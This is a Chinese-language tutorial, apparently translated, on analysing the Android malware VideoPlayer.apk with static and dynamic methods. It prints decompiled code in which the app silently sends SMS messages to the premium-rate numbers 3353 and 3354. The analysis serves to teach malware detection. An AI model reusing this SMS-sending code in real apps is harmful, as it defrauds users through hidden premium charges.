Android平台在不断发展。当一个产品使用者越来越多的时候,恶意代码编写者会编写针对新平台的恶意代码。最近有非常多的针对Android malware 的报道。在逆向工程中我们使用以下两种方法来分析恶意代码:
----静态分析
----动态分析
首先拿到一个叫”VideoPalyer“的Android malware,
文件:VideoPlayer.apk
MD5:fdb84ff8125b3790011b83cc85adce16
apk代表Android应用文件。每个Android应用都被编译和打包成一个单独文件,包含所有的应用代码(dex文件),resources,assets,和manifest文件。应用包名字可以任意取,但是后缀必须是.apk.
.dex文件是编译后的Android应用代码文件。Android程序被编译成.dex(Dalvik执行程序)文件,然后和resoueces等等一起被打包成apk文件。java代码会被编译成class文件,class文件会被编译成dex文件。所以,dex文件中有需要的java代码。
用7zip打开VideoPlayer.apk的目录结构如下:
使用7zip解压,就可以得到dex文件,用dex2jar就可以把.dex转换成.jar文件,然后用JD-GUI就可以反编译.jar文件。JD-GUI参见(http://java.decompiler.free.fr/?q=jdgui) ;
HelloWorld和MoviePlayer需要重点关注。
Things that look worth examining are ‘HelloWorld’ and ‘Movieplayer’.
在‘HelloWorld’ 有下面的代码和俄语文本:
super.onCreate(paramBundle);
TextView localTextView = new TextView(this);
localTextView.setText("Нажмите ок для доступа к видеотеке");
俄语文本的意思是: ‘Press ok for access to the videotape library’
In the next part of the code, following was discovered:
localSmsManager.sendTextMessage(“3353“, null, “798657“, null, null);
str1 = “3354“;
try
{
localSmsManager.sendTextMessage(str1, str2, “798657″, localPendingIntent1, localPendingIntent2);
str1 = “3353″;
分析代码发现,在Google上搜索‘3353’和‘3354’后,这个程序试图给‘3353’和‘3354’发内容为‘798657’的短消息(SMS),它们属于一个叫做‘INcoreMedia Ltd’的俄罗斯公司。这些SMS号码被称为‘High premium rate’号码。在更多的scams也被使用过。
上面代码也出现在MoviePlayer类中。
为了动态分析,Android SDK toolkit以及它们依赖的组件都需要被安装。然后创建生成一个虚拟设备,就可以把VideoPlayer.apk安装到这个虚拟设备上。
点击Movie Player图标,没有观察到异常,但是通过静态分析可以知道,在激活这个app之后,它会试图发送SMS消息。